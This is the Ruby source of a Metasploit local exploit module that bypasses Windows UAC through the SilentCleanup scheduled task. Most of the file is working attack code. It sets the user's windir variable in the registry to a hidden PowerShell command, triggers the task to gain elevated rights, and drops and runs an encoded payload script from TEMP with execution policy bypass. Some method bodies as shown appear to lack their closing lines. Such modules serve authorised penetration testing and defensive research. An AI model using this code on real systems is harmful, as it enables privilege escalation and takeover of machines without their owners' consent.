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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Exploit::Powershell
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  include Msf::Post::Windows::Priv
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  include Msf::Post::File
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'                 => 'Windows Escalate UAC Protection Bypass (Via SilentCleanup)',
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      'Description'          => %q{
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        There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.
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        When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,
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        %windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin.
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      },
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      'License'              => MSF_LICENSE,
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      'Author'               => [
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        'tyranid', # Discovery
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        'enigma0x3', # Discovery
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        'nyshone69', # Discovery
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        'lokiuox', # PSH script
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        'Carter Brainerd (cbrnrd)' # Metasploit Module
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      ],
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      'Platform'             => ['win'],
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      'SessionTypes'         => ['meterpreter', 'shell'],
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      'Arch'                 => [ARCH_X86, ARCH_X64],
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      'Targets'              => [['Microsoft Windows', {}]],
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      'DisclosureDate'       => '2019-02-24',
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      'References'           => [
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        ['URL', 'https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html'],
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        ['URL', 'https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/'],
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        ['URL', 'https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/'],
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        ['URL', 'https://forums.hak5.org/topic/45439-powershell-real-uac-bypass/']
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      ]
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    ))
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    register_options(
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      [
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        OptInt.new('SLEEPTIME', [false, 'The time (ms) to sleep before running SilentCleanup', 0]),
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        OptString.new('PSH_PATH', [true, 'The path to the Powershell binary.', "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe"])
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      ])
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  end
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  def get_bypass_script(cmd)
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    scr = %Q{
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      if((([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match "S-1-5-32-544")) {
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        $env:windir = [System.Environment]::GetEnvironmentVariable("windir", "machine")
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        #{cmd}
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      } else {
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          $registryPath = "HKCU:\\Environment"
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          $Name = "windir"
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          $Value = "powershell -ExecutionPolicy bypass -windowstyle hidden -Command `"& `'$PSCommandPath`'`";#"
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          Set-ItemProperty -Path $registryPath -Name $name -Value $Value
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          #Depending on the performance of the machine, some sleep time may be required before or after schtasks
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          Start-Sleep -Milliseconds #{datastore['SLEEPTIME']}
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          schtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I | Out-Null
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          Remove-ItemProperty -Path $registryPath -Name $name
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      }
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    }
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    vprint_status(scr)
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    scr
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  end
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  def exploit
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    check_permissions
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    e_vars = get_envs('TEMP')
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    payload_fp = "#{e_vars['TEMP']}\\#{rand_text_alpha(8)}.ps1"
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    # Write it to disk, run, delete
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    upload_payload_ps1(payload_fp)
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    vprint_good("Payload uploaded to #{payload_fp}")
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    cmd_exec("#{expand_path(datastore['PSH_PATH'])} -ep bypass #{payload_fp}")
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  def check_permissions
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    # Check if you are an admin
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    case is_in_admin_group?
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    when nil
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      print_error('Either whoami is not there or failed to execute')
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      print_error('Continuing under assumption you already checked...')
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    when true
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      print_good('Part of Administrators group! Continuing...')
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    when false
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      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
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    end
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    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
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      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
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    end
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  def upload_payload_ps1(filepath)
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    pld = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
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    begin
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      vprint_status('Uploading payload PS1...')
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      write_file(filepath, get_bypass_script(pld))
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      register_file_for_cleanup(filepath)
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    rescue Rex::Post::Meterpreter::RequestError => e
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      fail_with(Failure::Unknown, "Error uploading file #{filepath}: #{e.class} #{e}")
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    end
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  end
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end
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